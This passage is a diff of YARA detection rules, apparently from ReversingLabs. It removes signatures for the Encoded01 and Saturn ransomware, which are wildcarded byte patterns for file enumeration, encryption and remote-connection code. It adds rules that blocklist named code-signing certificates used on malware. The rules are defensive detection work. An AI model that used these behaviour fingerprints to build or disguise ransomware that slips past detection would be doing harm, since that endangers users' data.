?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? - ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? FF 75 ?? 68 ?? ?? ?? - ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 8B CB 8B 55 ?? E8 ?? ?? ?? ?? EB ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? - ?? ?? ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ROSSO INDEX K.K." and pe.signatures [ i ] . serial == "01:00:00:00:00:01:29:7d:ba:69:dd" and 1277713154 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Encoded01 : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_7Def22Ef4C645B1Decfb36B6D3539Dbf : INFO FILE { meta: - description = "Yara rule that detects Encoded01 ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "923d987e-f888-5b6a-9ebd-ee1257124aed" - date = "2021-12-16" - modified = "2021-12-16" + id = "aeb10a64-633c-5fc6-87af-360e1a402ad4" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Encoded01.yara#L1-L141" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16546-L16562" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f6f872290f15f4c564911bb099824c47cb13164457e1bcdb02dee441bc2d6b6a" + logic_hash = "655ed87ee65f937c7cec95085fe612f8d733e0853c87aa50b4aa1fda9e5f7a5d" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Encoded01" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 55 8B EC 51 B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 ?? 51 87 4D ?? 53 56 57 89 4D ?? 89 55 - ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? - 64 FF 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 8C ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 8B 15 ?? ?? ?? ?? 8B 12 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? - 8B 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? - ?? 8B 55 ?? 66 83 7C 42 ?? ?? 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D0 4A 8D 45 ?? E8 ?? - ?? ?? ?? 8B 7D ?? 4F 85 FF 0F 8C ?? ?? ?? ?? 47 8D 85 ?? ?? ?? ?? 50 FF 75 ?? 68 ?? - ?? ?? ?? 8B 45 ?? 8B 55 ?? FF 34 90 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? - 33 F6 46 81 FE ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 8D - 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? - 0F 84 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 85 ?? - ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? FF 75 ?? 68 ?? - ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? - 8B 45 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8A 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 - } - $find_files_p2 = { - C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 12 E8 ?? ?? ?? ?? 8B 95 - ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8A 55 ?? 8B 45 ?? E8 ?? - ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? A1 - ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 6A ?? 68 ?? - ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 50 ?? 8B 00 E8 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 3B 55 ?? 75 ?? 3B 45 ?? 0F 86 ?? ?? ?? ?? EB ?? 0F 8E ?? ?? ?? ?? 83 7D ?? ?? - 75 ?? 83 7D ?? ?? 0F 86 ?? ?? ?? ?? EB ?? 0F 8E ?? ?? ?? ?? 8B 45 ?? 83 38 ?? 73 ?? - 8B 45 ?? E8 ?? ?? ?? ?? 40 03 C0 50 E8 ?? ?? ?? ?? 59 89 45 ?? 83 7D ?? ?? 0F 84 ?? - ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 40 03 C0 50 8B 45 ?? E8 ?? - ?? ?? ?? 8B D0 8B 45 ?? 59 E8 ?? ?? ?? ?? 8B 45 ?? 50 6A ?? 8D 45 ?? 50 B9 ?? ?? ?? - ?? 33 D2 33 C0 E8 ?? ?? ?? ?? 8B D0 8B 45 ?? E8 ?? ?? ?? ?? EB ?? 8B 45 ?? E8 ?? ?? - ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 40 03 C0 50 E8 ?? ?? ?? ?? 59 89 45 ?? 83 7D ?? ?? 74 - ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 40 03 C0 50 8B 45 ?? E8 ?? ?? ?? - ?? 8B D0 8B 45 ?? 59 E8 ?? ?? ?? ?? 8B 45 ?? 50 6A ?? 8D 45 ?? 50 B9 ?? ?? ?? ?? 33 - D2 33 C0 E8 ?? ?? ?? ?? 8B D0 8B 45 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? EB ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? - ?? ?? ?? 74 ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8A 45 ?? 50 8A 45 ?? 50 FF 75 ?? 68 ?? ?? - ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B - 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 83 F8 ?? 1B C0 - 40 84 C0 0F 85 ?? ?? ?? ?? 83 FB ?? 74 ?? 53 E8 ?? ?? ?? ?? 4F - } - $enum_resources = { - 55 8B EC 83 C4 ?? 53 56 57 8B F9 89 55 ?? 8B F0 8B 5D ?? C6 45 ?? ?? 33 C0 89 03 33 - C0 89 07 8D 45 ?? 50 8B 45 ?? 50 6A ?? 56 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 89 03 83 3B ?? 74 ?? 83 3B ?? 74 ?? - C7 07 ?? ?? ?? ?? 8B 03 33 C9 8B 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 8B 03 50 57 8B 45 - ?? 50 E8 ?? ?? ?? ?? 8B F0 81 FE ?? ?? ?? ?? 75 ?? 8B C3 8B 55 ?? E8 ?? ?? ?? ?? EB - ?? BE ?? ?? ?? ?? EB ?? 81 FE ?? ?? ?? ?? 74 ?? 85 F6 0F 94 45 ?? 80 7D ?? ?? 75 ?? - 8B 03 E8 ?? ?? ?? ?? 33 C0 89 03 33 C0 89 07 8B 45 ?? 50 E8 ?? ?? ?? ?? 8A 45 ?? 5F - 5E 5B 8B E5 5D C2 - } - $remote_connection_p1 = { - BB ?? ?? ?? ?? 83 FB ?? 75 ?? 33 C0 89 45 ?? 83 FB ?? 75 ?? C7 45 ?? ?? ?? ?? ?? 8B - C6 E8 ?? ?? ?? ?? 8B C6 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 FF 33 C0 89 45 ?? 8D 45 ?? - 50 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 5A 2B C2 83 C0 - ?? 50 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 83 C2 ?? 8B 45 ?? 59 E8 ?? ?? ?? - ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 66 BA ?? - ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 5A 2B C2 50 8D 85 ?? ?? ?? ?? 8B 55 ?? - E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? 8B D0 42 8B 45 ?? 59 E8 - ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 66 BA ?? ?? E8 ?? ?? ?? ?? 8B C8 49 BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 85 FF 0F - 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 48 0F 8E ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 45 - ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A - ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 - 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? - 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D - ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 6A - } - $remote_connection_p2 = { - 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 - ?? 8B 06 E8 ?? ?? ?? ?? 99 52 50 8B 45 ?? 03 C7 33 D2 3B 54 24 ?? 75 ?? 3B 04 24 5A - 58 76 ?? EB ?? 5A 58 7E ?? 8B 06 E8 ?? ?? ?? ?? 8B D0 81 C2 ?? ?? ?? ?? 8B C6 E8 ?? - ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 03 C7 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 03 7D - ?? 81 FF ?? ?? ?? ?? 77 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? - 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 6A - ?? 8B 45 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? - 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? - ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? - ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 - ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? - ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B - 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8B 06 E8 ?? ?? ?? ?? 99 52 50 - 8B 45 ?? 03 C7 33 D2 3B 54 24 ?? 75 ?? 3B 04 24 5A 58 76 ?? EB ?? 5A 58 7E ?? 8B 06 - E8 ?? ?? ?? ?? 8B D0 81 C2 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 03 - C7 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 03 7D ?? 81 FF ?? ?? ?? ?? 77 ?? 83 7D - ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 E8 - } - $encrypt_files = { - 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? - E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 - ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 - ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? - ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? - 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? - ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF - 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 - ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? - ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D - ?? ?? 74 - } - condition: - uint16( 0 ) == 0x5A4D and ( $enum_resources ) and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Caiyunshidai Technology Co., Ltd." and pe.signatures [ i ] . serial == "7d:ef:22:ef:4c:64:5b:1d:ec:fb:36:b6:d3:53:9d:bf" and 1474416000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Saturn : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_3E39C2Ccc494438Bb8C2560F : INFO FILE { meta: - description = "Yara rule that detects Saturn ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "70a8d937-aee5-54d8-9409-c5d2d0830a2b" - date = "2020-10-19" - modified = "2020-10-19" + id = "87477ad5-fc7e-5407-9c6e-bef3d4d8981d" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Saturn.yara#L1-L105" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16564-L16580" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "efa748346ad8c46e654542d302e81d633a2d12f421636c477431a12a34636132" + logic_hash = "3b4a55149b3895eeea5f96297d1fc9787eb74e2fcef8170148ef1a2ced334311" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Saturn" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_1 = { - 6A ?? C6 45 ?? ?? 8D 4D ?? 8B 3B 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? 3B C8 74 ?? - 83 78 ?? ?? 8B C8 72 ?? 8B 08 FF 70 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 - 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 - ?? ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 - ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A - } - $find_files_2_p1 = { - 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? - ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 - ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 8D 4D ?? 83 7D ?? ?? 8B 55 ?? 0F 43 4D ?? 50 51 E8 - ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 85 ?? ?? ?? ?? FF 75 - ?? 0F 43 85 ?? ?? ?? ?? 8D 4D ?? 83 7D ?? ?? 8B 55 ?? 0F 43 4D ?? 50 51 E8 ?? ?? ?? - ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 ?? 8D - 4D ?? 83 7D ?? ?? 8B 55 ?? 0F 43 4D ?? 50 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 - ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 ?? 8D 4D ?? 83 7D ?? ?? 8B 55 ?? - 0F 43 4D ?? 50 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? - ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? ?? ?? 50 - 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? - E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? - ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 - } - $find_files_2_p2 = { - F8 ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF - 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 5D ?? 8B F0 80 - BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 ?? - ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 00 - ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B D0 - 8D 71 ?? 8A 01 41 84 C0 75 ?? 2B CE 8D 85 ?? ?? ?? ?? 51 50 8B CA E8 ?? ?? ?? ?? F6 - 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 95 - ?? ?? ?? ?? 53 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C6 E9 - } - $encrypt_files_p1 = { - 6A ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 89 9D ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 6A ?? FF B5 - ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? - 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF D6 8B D8 - 83 FB ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 57 - FF D6 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? - ?? ?? B9 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 - A5 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? - FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? - ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 50 6A ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? 8B F0 FF 15 ?? - ?? ?? ?? 85 F6 0F 95 C3 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 F6 89 B5 ?? ?? ?? ?? 56 53 FF - } - $encrypt_files_p2 = { - 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 56 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF D7 85 C0 0F 84 ?? ?? ?? ?? 8D 56 ?? 8B 85 ?? ?? ?? - ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 03 C8 8D 85 ?? ?? ?? ?? - 3B 8D ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 50 6A ?? 0F 44 F2 56 6A ?? - FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 - ?? ?? ?? ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF D7 BA ?? ?? ?? ?? 85 - C0 0F 85 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 53 FF D6 FF B5 - ?? ?? ?? ?? FF D6 B3 ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? - ?? ?? ?? 72 ?? F6 C1 ?? 75 ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 - ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8A C3 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B - 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY 